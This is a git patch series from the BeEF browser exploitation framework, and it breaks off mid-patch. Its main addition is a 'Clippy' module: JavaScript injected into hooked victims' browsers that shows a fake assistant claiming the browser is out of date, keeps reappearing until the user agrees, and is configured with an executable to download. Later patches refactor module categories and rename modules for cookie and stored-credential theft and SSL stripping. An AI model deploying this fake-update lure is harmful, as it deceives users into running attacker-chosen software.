From 4123bb5f5ddda885dd379424bad2b0978b74496f Mon Sep 17 00:00:00 2001 From: vt Date: Wed, 9 May 2012 23:38:21 +1200 Subject: [PATCH 01/19] add clippy files --- modules/misc/clippy/command.js | 449 ++++++++++++++++++++++++++++++++ modules/misc/clippy/config.yaml | 25 ++ modules/misc/clippy/module.rb | 36 +++ 3 files changed, 510 insertions(+) create mode 100755 modules/misc/clippy/command.js create mode 100755 modules/misc/clippy/config.yaml create mode 100755 modules/misc/clippy/module.rb diff --git a/modules/misc/clippy/command.js b/modules/misc/clippy/command.js new file mode 100755 index 000000000..d3bebbc94 --- /dev/null +++ b/modules/misc/clippy/command.js @@ -0,0 +1,449 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + +/** + * Heretic Clippy + * @version 1.0.0 + * @author sprky0 + */ + +function __clippyboot(run) { + var _run = run; + if (!document.getElementsByTagName("body")[0]) { + setTimeout(function(){__clippyboot(_run);},10); + } else { + _run(); + } +} + +var GUID = {base:"_",cur:0,get:function(){this.cur++;return this.base+this.cur;}} + +var HelpText = function(_question,reusable) { + this.question = _question; + this.options = []; + // this.key = key_override ? key_override : GUID.get(); + this.key = GUID.get(); + this.views = 0; + this.reusable = (reusable === true); + this.timeout = {}; + return this; +} +HelpText.prototype.available = function() { + return (this.views < 1 || this.reusable === true); +} +HelpText.prototype.addResponseURL = function(_text,_url) { + this.options.push({text:_text,URL:_url,rel:"external"}); + return; +} +HelpText.prototype.addResponse = function(_text,_callback) { + this.options.push({text:_text,callback:_callback,rel:"internal"}); + return; +} +HelpText.prototype.addTimeout = function(_timeout,_callback) { + this.timeout = {callback:_callback,timeout:_timeout}; +} +HelpText.prototype.getKey = function() {return this.key;} +HelpText.prototype.toString = function() { + return this.question; +} +HelpText.prototype.toString = function() { + return this.getKey(); +} +HelpText.prototype.toElements = function() { + + this.views++; + + var div = document.createElement('div'); + var p = document.createElement('p'); + p.innerHTML = this.question; + div.appendChild(p); + + for(var i = 0; i < this.options.length; i++) { + var button = document.createElement('button'); + button.innerHTML = this.options[i].text; + if (this.options[i].rel == "internal") + button.onclick = this.options[i].callback; + else { + var _Option = this.options[i]; + button.onclick = function(){ + window.location = _Option.URL; + } + } + div.appendChild(button); + } + + if (this.timeout.callback && typeof(this.timeout.callback) == "function") { + setTimeout(this.timeout.callback, (this.timeout.timeout ? this.timeout.timeout : 500)); + } + + return div; +} + +/* CLIPPY Display */ +var ClippyDisplay = function(options) { + + this.file_dir = (options.file_dir) ? options.file_dir : ""; + + this.div = document.createElement('div'); + this.div.style.zIndex = 1000000; + this.div.style.width = "102px"; +// this.div.id = "pipes"; + this.div.style.height = "98px"; + this.div.style.backgroundColor = "transparent"; + this.div.style.position = "absolute"; + this.div.style.bottom = 0; + this.div.style.color = "black"; + this.div.style.right = "60px"; + this.div.style.display = "block"; + var img = new Image(); + img.src = this.file_dir + "clippy-main.png"; + img.style.position = "relative"; + img.style.display = "block"; + + this.div.appendChild(img); + + this.div.style.opacity = (options.visible === false) ? 0 : 1; + + if (options.click && typeof(options.click) == "function") { + img.onclick = options.click; + } + + return this; +} +ClippyDisplay.prototype.getElement = function() { + return this.div || null; +} +ClippyDisplay.prototype.getPosition = function() { + return {bottom:this.div.style.bottom,right:this.div.style.right}; +} +ClippyDisplay.prototype.fadeIn = function(duration,options) { + + var _clipple = this; + + if (!options) + options = {}; + if (!options.step) + options.step = 1 / 200; + if (!options.value) + options.value = 0; + if (!options.remain) + options.remain = 199; + if (!options.increment) + options.increment = duration / 200; + + options.remain--; + options.value += options.step; + _clipple.div.style.opacity = options.value; + + if (options.remain > 0) { setTimeout(function(){_clipple.fadeIn(duration,options);}, options.increment); } + + return; +} + + +ClippyDisplay.prototype.fadeOut = function(duration,options) { + + var _clipple = this; + + if (!options) + options = {}; + if (!options.step) + options.step = 1 / 200; + if (!options.value) + options.value = 1; + if (!options.remain) + options.remain = 199; + if (!options.increment) + options.increment = duration / 200; + + options.remain--; + options.value -= options.step; + _clipple.div.style.opacity = options.value; + + if (options.remain > 0) { + setTimeout(function(){_clipple.fadeOut(duration,options);}, options.increment); + } + else{ + removeme=document.getElementById("pipes"); + document.body.removeChild(removeme); + } + + return; +} + + +ClippyDisplay.prototype.move = function(x,y) { + this.div.style.bottom = (parseInt(this.div.style.top) + x) + "px"; + this.div.style.right = (parseInt(this.div.style.left) + y) + "px"; +} + +/** SPEECH BUBBLE **/ + +var PopupDisplay = function(o,options) { + + this.file_dir = (options.file_dir) ? options.file_dir : ""; + + if (typeof(o) === "string") { + p = document.createElement('p'); + p.innerHTML = o; + o = p; + } + + this.div = document.createElement('div'); + this.div.style.zIndex = 1000000; + this.div.style.width = "130px"; + this.div.style.height = "auto"; + this.div.style.backgroundColor = "transparent"; + this.div.style.color = "black"; + this.div.style.position = "absolute"; + this.div.style.bottom = "85px"; + this.div.style.right = "55px"; + this.div.style.display = "block"; + + var imgTop = new Image(); + imgTop.src = this.file_dir + "clippy-speech-top.png"; + imgTop.style.position = "relative"; + imgTop.style.display = "block"; + this.div.appendChild(imgTop); + + this.message = document.createElement('div'); + this.message.style.background = "transparent url('" + this.file_dir + "clippy-speech-mid.png') top left repeat-y"; + this.message.style.padding = "8px"; + this.message.style.font = "11.5px Arial, Verdana, Sans"; + // this.message.innerHTML = text; + this.message.appendChild(o); + + this.div.appendChild(this.message); + + var imgBottom = new Image(); + imgBottom.src = this.file_dir + "clippy-speech-bottom.png"; + imgBottom.style.position = "relative"; + imgBottom.style.display = "block"; + this.div.appendChild(imgBottom); + + return this; +} +PopupDisplay.prototype.close = function() { + try { + var div = this.getElement(); + if (div != null && div.parentNode) { + div = div.parentNode; + div.removeChild(this.getElement()); + } + } catch(e) { + // alert(e) + } +} +PopupDisplay.prototype.getElement = function() { + return this.div; +} + + +/** CLIPPY controller **/ + +var Clippy = function(_homeSelector,file_dir) { + this.help = {}; + // What options are OK to use as an introductory question? + this.firstlines = []; + this.homebase = this.findHomeBase(_homeSelector); + this.timer = false; + this.timer_interval = 200; + this.update_count = 0; + this.file_dir = (file_dir) ? file_dir : ""; + return this; +} +Clippy.prototype.findHomeBase = function(selector) { + + if (!selector) + selector = "body"; + + var ref = false; + + if (selector.charAt(0)=="#") { + ref = document.getElementById(selector); + } else { + ref = document.getElementsByTagName(selector)[0]; + + var div = document.createElement("div"); + + div.style.zIndex = 9999999; + div.id = "pipes"; + // div.style.zIndex = 10000000; + div.style.width = "300px"; + div.style.height = "300px"; + div.style.backgroundColor = "transparent"; + div.style.position = "fixed"; + div.style.bottom = "0"; + div.style.right = "0"; + + ref.appendChild(div); + + return div; + + } + + console.log(ref); + + return ref; +} +Clippy.prototype.run = function(opt) { + +// alert(666); //debug + + var _c = this; + + this.character = new ClippyDisplay({ + click:function(){ + _c.say([Ouch1,Ouch2,Ouch3]); + _c.move(parseInt(Math.random()*20+-20),parseInt(Math.random()*20+-20)); + }, + file_dir : this.file_dir, + visible : false + }); + this.homebase.appendChild( this.character.getElement() ); + this.character.fadeIn(1000); + + var Help = new HelpText("<%== @askusertext %>"); + Help.addResponse("Yes", function(){ _c.hahaha(); } ); +// Help.addResponse("No", function(){ _c.closeBubble(); document.getElementById("pipes").style.display="none"; setTimeout(function() {document.getElementById("pipes").style.display="block"; _c.say("<%== @askusertext %>");},"<%== @respawntime %>"); } ); + Help.addResponse("No", function(){ _c.killClippy(); setTimeout(function() { new Clippy("body","<%== @clippydir %>").run(); },"<%== @respawntime %>"); } ); + this.addHelp(Help,true); + + // Click clippy + + // initial wait + this.talkLater(2000); + +} + +Clippy.prototype.killClippy = function(){ + + this.closeBubble(); + this.character.fadeOut(1000); + // Below commented out, this now happens in fadeOut function + // removeme=document.getElementById("pipes"); + // document.body.removeChild(removeme); +} + + +Clippy.prototype.hahaha = function() { + + var div = document.createElement("div"); + var _c = this; + div.id = "heehee"; + // div.style.zIndex = 10000000; + div.style.display = "none"; + div.innerHTML=""; + + document.body.appendChild(div); + _c.openBubble("<%== @thankyoumessage %>"); + setTimeout(function () { _c.killClippy(); }, 5000); +} + + +Clippy.prototype.addHelp = function(_help, is_startphrase) { + this.help[ _help.getKey() ] = _help; + if (is_startphrase) + this.firstlines.push( _help.getKey() ); + + return; +} +Clippy.prototype.sayOne = function(keys,alternative) { + + var found = false, count = 0; + + while(count < keys.length) { + var choice = parseInt( Math.random() * keys.length ); + if( this.canSay( keys[choice]) ) { + this.say(keys[choice]); + return; + } + count ++; + } + + if (alternative) + this.say(alternative); + + return; +} +Clippy.prototype.canSay = function(key) { + return this.help[ key ].available(); +} +Clippy.prototype.say = function(key,alternative) { + + if (this.timer != false) { + try { + clearTimeout(this.timer); + this.timer = false; + } catch(e) { + // alert(e); + } + } + + if(typeof(key) !== "string" && key.length) + this.sayOne(key,alternative); + +// if (this.help[key]) + this.openBubble( this.help[ key ].toElements() ); +} +Clippy.prototype.firstLine = function() { + this.sayOne(this.firstlines); +} +Clippy.prototype.talkLater = function() { + this.closeBubble(); + var _c = this; + this.timer = setTimeout( function() { _c.firstLine(); }, "<%== @respawntime %>"); +} +Clippy.prototype.openBubble = function(_o) { + + if (typeof(_o)=="string") { + var o = document.createElement("p"); + o.innerHTML = _o; + } else { + var o = _o; + } + + if (this.bubble) { + this.bubble.close(); + } + + this.bubble = new PopupDisplay(o,{file_dir:this.file_dir}); + this.homebase.appendChild(this.bubble.getElement()); + +} +Clippy.prototype.closeBubble = function() { + if (this.bubble) { + this.bubble.close(); + } +} +Clippy.prototype.update = function() { + this.update_count++; +} +Clippy.prototype.move = function(x,y) { + this.character.move(x,y); +} + +/* APPLICATION LOGIC: */ +// function clippy_boot() {if(document.getElementsByTagName("BODY").length === 0) {setTimeout("clippy_boot()",1);} else {clippy_main();}return;} +// function clippy_main() {var c = new Clippy("homebase","./").run();} +/* GO! */ +// clippy_boot(); + +__clippyboot(function(){new Clippy("body","<%== @clippydir %>").run();}); + + +}); diff --git a/modules/misc/clippy/config.yaml b/modules/misc/clippy/config.yaml new file mode 100755 index 000000000..89d7861be --- /dev/null +++ b/modules/misc/clippy/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + clippy: + enable: true + category: "Misc" + name: "Clippy" + description: "Brings up a clippy image and asks the user to do stuff." + authors: ["vt [nick.freeman@security-assessment.com]", "denden [denis.andzakovic@security-assessment.com]"] + target: + user_notify: ['ALL'] diff --git a/modules/misc/clippy/module.rb b/modules/misc/clippy/module.rb new file mode 100755 index 000000000..fe99607ed --- /dev/null +++ b/modules/misc/clippy/module.rb @@ -0,0 +1,36 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Clippy < BeEF::Core::Command + + def self.options + return [ + {'name' =>'clippydir', 'description' =>'Webdir containing clippy image', 'ui_label'=>'Clippy image', 'value' => 'http://clippy.ajbnet.com/1.0.0/'}, + {'name' =>'askusertext', 'description' =>'Text for speech bubble', 'ui_label'=>'Custom text', 'value' => 'Your browser appears to be out of date. Would you like to upgrade it?'}, + {'name' =>'executeyes', 'description' =>'Executable to download', 'ui_label'=>'Executable', 'value' => 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe'}, + {'name' =>'respawntime', 'description' =>'', 'ui_label'=>'Time until Clippy shows his face again', 'value' => '2000'}, + {'name' =>'thankyoumessage', 'description' =>'Thankyou message after downloading', 'ui_label'=>'Thankyou message after downloading', 'value' => 'Thanks for upgrading your browser! Look forward to a safer, faster web!'} + ] + end + + # + # This method is being called when a zombie sends some + # data back to the framework. + # + def post_execute + save({'answer' => @datastore['answer']}) + end + +end From 9a5af8f7d1928887a98c19b9e583cf1c808d869f Mon Sep 17 00:00:00 2001 From: vt Date: Fri, 11 May 2012 00:26:26 +1200 Subject: [PATCH 02/19] Slightly less clunky js --- modules/misc/clippy/command.js | 63 +++++----------------------------- 1 file changed, 8 insertions(+), 55 deletions(-) diff --git a/modules/misc/clippy/command.js b/modules/misc/clippy/command.js index d3bebbc94..b5f75d2dc 100755 --- a/modules/misc/clippy/command.js +++ b/modules/misc/clippy/command.js @@ -19,7 +19,7 @@ beef.execute(function() { * Heretic Clippy * @version 1.0.0 * @author sprky0 - */ +**/ function __clippyboot(run) { var _run = run; @@ -101,7 +101,6 @@ var ClippyDisplay = function(options) { this.div = document.createElement('div'); this.div.style.zIndex = 1000000; this.div.style.width = "102px"; -// this.div.id = "pipes"; this.div.style.height = "98px"; this.div.style.backgroundColor = "transparent"; this.div.style.position = "absolute"; @@ -118,18 +117,11 @@ var ClippyDisplay = function(options) { this.div.style.opacity = (options.visible === false) ? 0 : 1; - if (options.click && typeof(options.click) == "function") { - img.onclick = options.click; - } - return this; } ClippyDisplay.prototype.getElement = function() { return this.div || null; } -ClippyDisplay.prototype.getPosition = function() { - return {bottom:this.div.style.bottom,right:this.div.style.right}; -} ClippyDisplay.prototype.fadeIn = function(duration,options) { var _clipple = this; @@ -178,19 +170,13 @@ ClippyDisplay.prototype.fadeOut = function(duration,options) { setTimeout(function(){_clipple.fadeOut(duration,options);}, options.increment); } else{ - removeme=document.getElementById("pipes"); - document.body.removeChild(removeme); + document.body.removeChild(document.getElementById("pipes")); } return; } -ClippyDisplay.prototype.move = function(x,y) { - this.div.style.bottom = (parseInt(this.div.style.top) + x) + "px"; - this.div.style.right = (parseInt(this.div.style.left) + y) + "px"; -} - /** SPEECH BUBBLE **/ var PopupDisplay = function(o,options) { @@ -261,9 +247,7 @@ var Clippy = function(_homeSelector,file_dir) { this.firstlines = []; this.homebase = this.findHomeBase(_homeSelector); this.timer = false; - this.timer_interval = 200; - this.update_count = 0; - this.file_dir = (file_dir) ? file_dir : ""; + this.file_dir = file_dir; return this; } Clippy.prototype.findHomeBase = function(selector) { @@ -282,7 +266,6 @@ Clippy.prototype.findHomeBase = function(selector) { div.style.zIndex = 9999999; div.id = "pipes"; - // div.style.zIndex = 10000000; div.style.width = "300px"; div.style.height = "300px"; div.style.backgroundColor = "transparent"; @@ -302,15 +285,9 @@ Clippy.prototype.findHomeBase = function(selector) { } Clippy.prototype.run = function(opt) { -// alert(666); //debug - var _c = this; this.character = new ClippyDisplay({ - click:function(){ - _c.say([Ouch1,Ouch2,Ouch3]); - _c.move(parseInt(Math.random()*20+-20),parseInt(Math.random()*20+-20)); - }, file_dir : this.file_dir, visible : false }); @@ -319,42 +296,31 @@ Clippy.prototype.run = function(opt) { var Help = new HelpText("<%== @askusertext %>"); Help.addResponse("Yes", function(){ _c.hahaha(); } ); -// Help.addResponse("No", function(){ _c.closeBubble(); document.getElementById("pipes").style.display="none"; setTimeout(function() {document.getElementById("pipes").style.display="block"; _c.say("<%== @askusertext %>");},"<%== @respawntime %>"); } ); - Help.addResponse("No", function(){ _c.killClippy(); setTimeout(function() { new Clippy("body","<%== @clippydir %>").run(); },"<%== @respawntime %>"); } ); + Help.addResponse("Not now", function(){ _c.killClippy(); setTimeout(function() { new Clippy("body","<%== @clippydir %>").run(); },"<%== @respawntime %>"); } ); this.addHelp(Help,true); - // Click clippy - // initial wait - this.talkLater(2000); + this.talkLater(); } - Clippy.prototype.killClippy = function(){ this.closeBubble(); this.character.fadeOut(1000); - // Below commented out, this now happens in fadeOut function - // removeme=document.getElementById("pipes"); - // document.body.removeChild(removeme); } - - Clippy.prototype.hahaha = function() { var div = document.createElement("div"); var _c = this; div.id = "heehee"; - // div.style.zIndex = 10000000; div.style.display = "none"; div.innerHTML=""; document.body.appendChild(div); _c.openBubble("<%== @thankyoumessage %>"); setTimeout(function () { _c.killClippy(); }, 5000); + } - - Clippy.prototype.addHelp = function(_help, is_startphrase) { this.help[ _help.getKey() ] = _help; if (is_startphrase) @@ -375,9 +341,6 @@ Clippy.prototype.sayOne = function(keys,alternative) { count ++; } - if (alternative) - this.say(alternative); - return; } Clippy.prototype.canSay = function(key) { @@ -389,15 +352,12 @@ Clippy.prototype.say = function(key,alternative) { try { clearTimeout(this.timer); this.timer = false; - } catch(e) { - // alert(e); - } + } catch(e) {} } if(typeof(key) !== "string" && key.length) this.sayOne(key,alternative); -// if (this.help[key]) this.openBubble( this.help[ key ].toElements() ); } Clippy.prototype.firstLine = function() { @@ -406,7 +366,7 @@ Clippy.prototype.firstLine = function() { Clippy.prototype.talkLater = function() { this.closeBubble(); var _c = this; - this.timer = setTimeout( function() { _c.firstLine(); }, "<%== @respawntime %>"); + this.timer = setTimeout( function() { _c.firstLine(); }, 2000); } Clippy.prototype.openBubble = function(_o) { @@ -430,12 +390,6 @@ Clippy.prototype.closeBubble = function() { this.bubble.close(); } } -Clippy.prototype.update = function() { - this.update_count++; -} -Clippy.prototype.move = function(x,y) { - this.character.move(x,y); -} /* APPLICATION LOGIC: */ // function clippy_boot() {if(document.getElementsByTagName("BODY").length === 0) {setTimeout("clippy_boot()",1);} else {clippy_main();}return;} @@ -445,5 +399,4 @@ Clippy.prototype.move = function(x,y) { __clippyboot(function(){new Clippy("body","<%== @clippydir %>").run();}); - }); From 7d7f6b13b4810f6f9f931fe2ed63fad4e06dce45 Mon Sep 17 00:00:00 2001 From: Christian Frichot Date: Sat, 12 May 2012 17:37:46 +0800 Subject: [PATCH 03/19] Fixes Issue #550 Module categories can include sub-folders. Specify them as an array in their yaml file --- core/modules.rb | 15 ++- .../admin_ui/controllers/modules/modules.rb | 99 ++++++++++++++++--- 2 files changed, 95 insertions(+), 19 deletions(-) diff --git a/core/modules.rb b/core/modules.rb index dac76bd1c..37d7ac953 100644 --- a/core/modules.rb +++ b/core/modules.rb @@ -33,11 +33,20 @@ module BeEF def self.get_categories categories = [] BeEF::Core::Configuration.instance.get('beef.module').each {|k,v| - if not categories.include?(v['category']) - categories << v['category'] + flatcategory = "" + if v['category'].kind_of?(Array) + # Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder. + v['category'].each {|cat| + flatcategory << cat + "/" + } + else + flatcategory = v['category'] + end + if not categories.include?(flatcategory) + categories << flatcategory end } - return categories.sort + return categories.sort.uniq #This is now uniqued, because otherwise the recursive function to build the json tree breaks if there are duplicates. end # Get all modules currently stored in the database diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb index 18528ceed..cfcf2ce2f 100644 --- a/extensions/admin_ui/controllers/modules/modules.rb +++ b/extensions/admin_ui/controllers/modules/modules.rb @@ -427,8 +427,28 @@ class Modules < BeEF::Extension::AdminUI::HttpController return BeEF::Module.support(mod, {'browser' => BD.get(hook_session_id, 'BrowserName'), 'ver' => BD.get(hook_session_id, 'BrowserVersion'), 'os' => [BD.get(hook_session_id, 'OsName')]}) end - def update_command_module_tree(tree, cmd_category, cmd_icon_path, cmd_status, cmd_name, cmd_id) + # If we're adding a leaf to the command tree, and it's in a subfolder, we need to recurse + # into the tree to find where it goes + def update_command_module_tree_recurse(tree,category,leaf) + working_category = category.shift + tree.each {|t| + if t['text'].eql? working_category and category.count > 0 + #We have deeper to go + update_command_module_tree_recurse(t['children'],category,leaf) + elsif t['text'].eql? working_category + #Bingo + t['children'].push(leaf) + break + end + } + + #return tree + + end + + #Add the command to the tree + def update_command_module_tree(tree, cmd_category, cmd_icon_path, cmd_status, cmd_name, cmd_id) # construct leaf node for the command module tree leaf_node = { 'text' => cmd_name, @@ -439,24 +459,67 @@ class Modules < BeEF::Extension::AdminUI::HttpController } # add the node to the branch in the command module tree - tree.each {|x| - if x['text'].eql? cmd_category - x['children'].push( leaf_node ) - break - end - } + if cmd_category.is_a?(Array) + #The category is an array, therefore it's a sub-folderised category + cat_copy = cmd_category.dup #Don't work with the original array, because, then it breaks shit + update_command_module_tree_recurse(tree,cat_copy,leaf_node) + else + #original logic here, simply add the command to the tree. + tree.each {|x| + if x['text'].eql? cmd_category + x['children'].push( leaf_node ) + break + end + } + end end - + + #Recursive function to build the tree now with sub-folders + def build_recursive_tree(parent,input) + cinput = input.shift.chomp('/') + if cinput.split('/').count == 1 #then we have a single folder now + if parent.detect {|p| p['text'] == cinput}.nil? + parent << {'text' => cinput, 'cls' => 'folder', 'children' => []} + else + if input.count > 0 + parent.each {|p| + if p['text'] == cinput + p['children'] = build_recursive_tree(p['children'],input) + end + } + end + end + else + #we have multiple folders + newinput = cinput.split('/') + newcinput = newinput.shift + if parent.detect {|p| p['text'] == newcinput }.nil? + fldr = {'text' => newcinput, 'cls' => 'folder', 'children' => []} + parent << build_recursive_tree(fldr['children'],newinput) + else + parent.each {|p| + if p['text'] == newcinput + p['children'] = build_recursive_tree(p['children'],newinput) + end + } + end + end + + if input.count > 0 + return build_recursive_tree(parent,input) + else + return parent + end + end + # Returns the list of all command_modules for a TreePanel in the interface. def select_command_modules_tree + blanktree = [] tree = [] - BeEF::Modules.get_categories.each { |c| - tree.push({ - 'text' => c, - 'cls' => 'folder', - 'children' => [] - }) - } + + #Due to the sub-folder nesting, we use some really badly hacked together recursion + #Note to the bored - if someone (anyone please) wants to refactor, I'll buy you cookies. -x + tree = build_recursive_tree(blanktree,BeEF::Modules.get_categories) BeEF::Modules.get_enabled.each{|k, mod| # get the hooked browser session id and set it in the command module @@ -510,7 +573,11 @@ class Modules < BeEF::Extension::AdminUI::HttpController # sort the children nodes by status and name tree.each {|x| x['children'] = - x['children'].sort_by {|a| [a['status'],a['text']]} + #Thanks a lot guys, thanks to the sub-folders this gets way more quirky .. + #Although, the sorting trick below is pretty funny :P + x['children'].sort_by {|a| + fldr = a['cls'] ? a['cls'] : 'zzzzz' + "#{fldr}#{a['status']}#{a['text']}"} } # append the number of command modules so the branch name results in: " (num)" From 6eacf97b804b1b75022655f14218a34c3d63ead7 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 12 May 2012 12:13:57 +0100 Subject: [PATCH 04/19] Moved "hooked_browser" category inside "Browser", now as a sub-category. --- modules/{ => browser}/hooked_domain/ajax_fingerprint/command.js | 0 .../{ => browser}/hooked_domain/ajax_fingerprint/config.yaml | 2 +- modules/{ => browser}/hooked_domain/ajax_fingerprint/module.rb | 0 modules/{ => browser}/hooked_domain/alert_dialog/command.js | 0 modules/{ => browser}/hooked_domain/alert_dialog/config.yaml | 2 +- modules/{ => browser}/hooked_domain/alert_dialog/module.rb | 0 modules/{ => browser}/hooked_domain/deface_web_page/command.js | 0 modules/{ => browser}/hooked_domain/deface_web_page/config.yaml | 2 +- modules/{ => browser}/hooked_domain/deface_web_page/module.rb | 0 modules/{ => browser}/hooked_domain/get_cookie/command.js | 0 modules/{ => browser}/hooked_domain/get_cookie/config.yaml | 2 +- modules/{ => browser}/hooked_domain/get_cookie/module.rb | 0 .../{ => browser}/hooked_domain/get_local_storage/command.js | 0 .../{ => browser}/hooked_domain/get_local_storage/config.yaml | 2 +- modules/{ => browser}/hooked_domain/get_local_storage/module.rb | 0 modules/{ => browser}/hooked_domain/get_page_html/command.js | 0 modules/{ => browser}/hooked_domain/get_page_html/config.yaml | 2 +- modules/{ => browser}/hooked_domain/get_page_html/module.rb | 0 modules/{ => browser}/hooked_domain/get_page_links/command.js | 0 modules/{ => browser}/hooked_domain/get_page_links/config.yaml | 2 +- modules/{ => browser}/hooked_domain/get_page_links/module.rb | 0 .../{ => browser}/hooked_domain/get_session_storage/command.js | 0 .../{ => browser}/hooked_domain/get_session_storage/config.yaml | 2 +- .../{ => browser}/hooked_domain/get_session_storage/module.rb | 0 .../hooked_domain/get_stored_credentials/command.js | 0 .../hooked_domain/get_stored_credentials/config.yaml | 2 +- .../hooked_domain/get_stored_credentials/module.rb | 0 modules/{ => browser}/hooked_domain/link_rewrite/command.js | 0 modules/{ => browser}/hooked_domain/link_rewrite/config.yaml | 2 +- modules/{ => browser}/hooked_domain/link_rewrite/module.rb | 0 .../hooked_domain/link_rewrite_sslstrip/command.js | 0 .../hooked_domain/link_rewrite_sslstrip/config.yaml | 2 +- .../{ => browser}/hooked_domain/link_rewrite_sslstrip/module.rb | 0 modules/{ => browser}/hooked_domain/prompt_dialog/command.js | 0 modules/{ => browser}/hooked_domain/prompt_dialog/config.yaml | 2 +- modules/{ => browser}/hooked_domain/prompt_dialog/module.rb | 0 modules/{ => browser}/hooked_domain/replace_video/command.js | 0 modules/{ => browser}/hooked_domain/replace_video/config.yaml | 2 +- modules/{ => browser}/hooked_domain/replace_video/module.rb | 0 modules/{ => browser}/hooked_domain/rickroll/command.js | 0 modules/{ => browser}/hooked_domain/rickroll/config.yaml | 2 +- modules/{ => browser}/hooked_domain/rickroll/module.rb | 0 modules/{ => browser}/hooked_domain/site_redirect/command.js | 0 modules/{ => browser}/hooked_domain/site_redirect/config.yaml | 2 +- modules/{ => browser}/hooked_domain/site_redirect/module.rb | 0 .../{ => browser}/hooked_domain/site_redirect_iframe/command.js | 0 .../hooked_domain/site_redirect_iframe/config.yaml | 2 +- .../{ => browser}/hooked_domain/site_redirect_iframe/module.rb | 0 48 files changed, 16 insertions(+), 16 deletions(-) rename modules/{ => browser}/hooked_domain/ajax_fingerprint/command.js (100%) rename modules/{ => browser}/hooked_domain/ajax_fingerprint/config.yaml (94%) rename modules/{ => browser}/hooked_domain/ajax_fingerprint/module.rb (100%) rename modules/{ => browser}/hooked_domain/alert_dialog/command.js (100%) rename modules/{ => browser}/hooked_domain/alert_dialog/config.yaml (94%) rename modules/{ => browser}/hooked_domain/alert_dialog/module.rb (100%) rename modules/{ => browser}/hooked_domain/deface_web_page/command.js (100%) rename modules/{ => browser}/hooked_domain/deface_web_page/config.yaml (94%) rename modules/{ => browser}/hooked_domain/deface_web_page/module.rb (100%) rename modules/{ => browser}/hooked_domain/get_cookie/command.js (100%) rename modules/{ => browser}/hooked_domain/get_cookie/config.yaml (94%) rename modules/{ => browser}/hooked_domain/get_cookie/module.rb (100%) rename modules/{ => browser}/hooked_domain/get_local_storage/command.js (100%) rename modules/{ => browser}/hooked_domain/get_local_storage/config.yaml (96%) rename modules/{ => browser}/hooked_domain/get_local_storage/module.rb (100%) rename modules/{ => browser}/hooked_domain/get_page_html/command.js (100%) rename modules/{ => browser}/hooked_domain/get_page_html/config.yaml (94%) rename modules/{ => browser}/hooked_domain/get_page_html/module.rb (100%) rename modules/{ => browser}/hooked_domain/get_page_links/command.js (100%) rename modules/{ => browser}/hooked_domain/get_page_links/config.yaml (94%) rename modules/{ => browser}/hooked_domain/get_page_links/module.rb (100%) rename modules/{ => browser}/hooked_domain/get_session_storage/command.js (100%) rename modules/{ => browser}/hooked_domain/get_session_storage/config.yaml (96%) rename modules/{ => browser}/hooked_domain/get_session_storage/module.rb (100%) rename modules/{ => browser}/hooked_domain/get_stored_credentials/command.js (100%) rename modules/{ => browser}/hooked_domain/get_stored_credentials/config.yaml (95%) rename modules/{ => browser}/hooked_domain/get_stored_credentials/module.rb (100%) rename modules/{ => browser}/hooked_domain/link_rewrite/command.js (100%) rename modules/{ => browser}/hooked_domain/link_rewrite/config.yaml (94%) rename modules/{ => browser}/hooked_domain/link_rewrite/module.rb (100%) rename modules/{ => browser}/hooked_domain/link_rewrite_sslstrip/command.js (100%) rename modules/{ => browser}/hooked_domain/link_rewrite_sslstrip/config.yaml (95%) rename modules/{ => browser}/hooked_domain/link_rewrite_sslstrip/module.rb (100%) rename modules/{ => browser}/hooked_domain/prompt_dialog/command.js (100%) rename modules/{ => browser}/hooked_domain/prompt_dialog/config.yaml (94%) rename modules/{ => browser}/hooked_domain/prompt_dialog/module.rb (100%) rename modules/{ => browser}/hooked_domain/replace_video/command.js (100%) rename modules/{ => browser}/hooked_domain/replace_video/config.yaml (95%) rename modules/{ => browser}/hooked_domain/replace_video/module.rb (100%) rename modules/{ => browser}/hooked_domain/rickroll/command.js (100%) rename modules/{ => browser}/hooked_domain/rickroll/config.yaml (94%) rename modules/{ => browser}/hooked_domain/rickroll/module.rb (100%) rename modules/{ => browser}/hooked_domain/site_redirect/command.js (100%) rename modules/{ => browser}/hooked_domain/site_redirect/config.yaml (94%) rename modules/{ => browser}/hooked_domain/site_redirect/module.rb (100%) rename modules/{ => browser}/hooked_domain/site_redirect_iframe/command.js (100%) rename modules/{ => browser}/hooked_domain/site_redirect_iframe/config.yaml (95%) rename modules/{ => browser}/hooked_domain/site_redirect_iframe/module.rb (100%) diff --git a/modules/hooked_domain/ajax_fingerprint/command.js b/modules/browser/hooked_domain/ajax_fingerprint/command.js similarity index 100% rename from modules/hooked_domain/ajax_fingerprint/command.js rename to modules/browser/hooked_domain/ajax_fingerprint/command.js diff --git a/modules/hooked_domain/ajax_fingerprint/config.yaml b/modules/browser/hooked_domain/ajax_fingerprint/config.yaml similarity index 94% rename from 